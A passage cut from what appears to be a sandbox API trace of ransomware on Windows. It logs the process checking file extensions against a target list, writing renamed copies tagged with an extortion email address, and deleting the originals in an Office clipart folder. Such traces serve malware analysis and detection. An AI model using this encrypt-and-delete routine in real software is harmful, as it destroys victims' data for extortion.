Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString=".doc") returned 4 [0165.579] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.579] lstrlenW (lpString=".docx") returned 5 [0165.579] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0165.579] lstrlenW (lpString=".pdf") returned 4 [0165.579] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.579] lstrlenW (lpString=".xls") returned 4 [0165.579] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.579] lstrlenW (lpString=".xlsx") returned 5 [0165.579] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0165.579] lstrlenW (lpString=".ppt") returned 4 [0165.579] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString=".zip") returned 4 [0165.579] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.579] lstrlenW (lpString=".rar") returned 4 [0165.579] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.579] lstrlenW (lpString=".bz2") returned 4 [0165.579] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.579] lstrlenW (lpString=".7z") returned 3 [0165.579] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString=".dbf") returned 4 [0165.579] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString=".1cd") returned 4 [0165.579] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.579] lstrlenW (lpString=".jpg") returned 4 [0165.579] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString=".doc") returned 4 [0165.580] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.580] lstrlenW (lpString=".docx") returned 5 [0165.580] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0165.580] lstrlenW (lpString=".pdf") returned 4 [0165.580] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.580] lstrlenW (lpString=".xls") returned 4 [0165.580] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.580] lstrlenW (lpString=".xlsx") returned 5 [0165.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0165.580] lstrlenW (lpString=".ppt") returned 4 [0165.580] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString=".zip") returned 4 [0165.580] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.580] lstrlenW (lpString=".rar") returned 4 [0165.580] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.580] lstrlenW (lpString=".bz2") returned 4 [0165.580] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.580] lstrlenW (lpString=".7z") returned 3 [0165.580] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString=".dbf") returned 4 [0165.580] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString=".1cd") returned 4 [0165.580] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0165.580] lstrlenW (lpString=".jpg") returned 4 [0165.580] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.580] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.581] lstrlenW (lpString="J0099163.WMF") returned 12 [0165.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.581] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22356) returned 1 [0165.581] CloseHandle (hObject=0x544) returned 1 [0165.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0165.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.582] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.582] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.582] GetLastError () returned 0x0 [0165.582] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x5754, lpOverlapped=0x0) returned 1 [0166.088] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5760, lpOverlapped=0x0) returned 1 [0166.285] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.285] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.285] SetEndOfFile (hFile=0x4f0) returned 1 [0166.512] CloseHandle (hObject=0x4f0) returned 1 [0166.515] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.515] SetEndOfFile (hFile=0x544) returned 1 [0166.519] CloseHandle (hObject=0x544) returned 1 [0166.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0167.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.352] lstrlenW (lpString=".doc") returned 4 [0167.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString=".docx") returned 5 [0167.352] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0167.352] lstrlenW (lpString=".pdf") returned 4 [0167.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString=".xls") returned 4 [0167.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.352] lstrlenW (lpString=".xlsx") returned 5 [0167.352] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0167.352] lstrlenW (lpString=".ppt") returned 4 [0167.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.352] lstrlenW (lpString=".zip") returned 4 [0167.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.352] lstrlenW (lpString=".rar") returned 4 [0167.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString=".bz2") returned 4 [0167.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString=".7z") returned 3 [0167.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.352] lstrlenW (lpString=".dbf") returned 4 [0167.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.352] lstrlenW (lpString=".1cd") returned 4 [0167.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.353] lstrlenW (lpString=".jpg") returned 4 [0167.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.353] lstrlenW (lpString=".doc") returned 4 [0167.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString=".docx") returned 5 [0167.353] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0167.353] lstrlenW (lpString=".pdf") returned 4 [0167.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString=".xls") returned 4 [0167.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.353] lstrlenW (lpString=".xlsx") returned 5 [0167.353] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0167.353] lstrlenW (lpString=".ppt") returned 4 [0167.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.353] lstrlenW (lpString=".zip") returned 4 [0167.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.353] lstrlenW (lpString=".rar") returned 4 [0167.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString=".bz2") returned 4 [0167.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.353] lstrlenW (lpString=".7z") returned 3 [0167.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.354] lstrlenW (lpString=".dbf") returned 4 [0167.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.354] lstrlenW (lpString=".1cd") returned 4 [0167.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0167.354] lstrlenW (lpString=".jpg") returned 4 [0167.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.354] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.354] lstrlenW (lpString="J0099175.WMF") returned 12 [0167.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0167.356] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9744) returned 1 [0167.356] CloseHandle (hObject=0x550) returned 1 [0167.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0167.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0167.357] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.357] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0167.358] GetLastError () returned 0x0 [0167.358] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2610, lpOverlapped=0x0) returned 1 [0167.371] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2620, lpOverlapped=0x0) returned 1 [0167.373] ReadFile (in: hFile=0x550, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.373] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.373] SetEndOfFile (hFile=0x554) returned 1 [0167.379] CloseHandle (hObject=0x554) returned 1 [0167.387] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.387] SetEndOfFile (hFile=0x550) returned 1 [0167.417] CloseHandle (hObject=0x550) returned 1 [0167.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0167.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.910] lstrlenW (lpString=".doc") returned 4 [0167.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.910] lstrlenW (lpString=".docx") returned 5 [0167.910] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0167.910] lstrlenW (lpString=".pdf") returned 4 [0167.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString=".xls") returned 4 [0167.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.911] lstrlenW (lpString=".xlsx") returned 5 [0167.911] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0167.911] lstrlenW (lpString=".ppt") returned 4 [0167.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString=".zip") returned 4 [0167.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.911] lstrlenW (lpString=".rar") returned 4 [0167.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString=".bz2") returned 4 [0167.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString=".7z") returned 3 [0167.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString=".dbf") returned 4 [0167.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString=".1cd") returned 4 [0167.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString=".jpg") returned 4 [0167.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.911] lstrlenW (lpString=".doc") returned 4 [0167.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.912] lstrlenW (lpString=".docx") returned 5 [0167.960] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0167.960] lstrlenW (lpString=".pdf") returned 4 [0167.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString=".xls") returned 4 [0167.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.960] lstrlenW (lpString=".xlsx") returned 5 [0167.960] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0167.960] lstrlenW (lpString=".ppt") returned 4 [0167.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.960] lstrlenW (lpString=".zip") returned 4 [0167.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.960] lstrlenW (lpString=".rar") returned 4 [0167.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString=".bz2") returned 4 [0167.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString=".7z") returned 3 [0167.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.960] lstrlenW (lpString=".dbf") returned 4 [0167.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.961] lstrlenW (lpString=".1cd") returned 4 [0167.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0167.961] lstrlenW (lpString=".jpg") returned 4 [0167.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.961] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.961] lstrlenW (lpString="J0099181.WMF") returned 12 [0167.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.962] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1198) returned 1 [0167.962] CloseHandle (hObject=0x474) returned 1 [0167.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0167.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.962] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.963] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.964] GetLastError () returned 0x0 [0167.964] ReadFile (in: hFile=0x474, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0167.975] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0167.976] ReadFile (in: hFile=0x474, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.976] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.977] SetEndOfFile (hFile=0x454) returned 1 [0167.977] CloseHandle (hObject=0x454) returned 1 [0167.977] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.977] SetEndOfFile (hFile=0x474) returned 1 [0167.980] CloseHandle (hObject=0x474) returned 1 [0167.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0167.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0167.982] lstrlenW 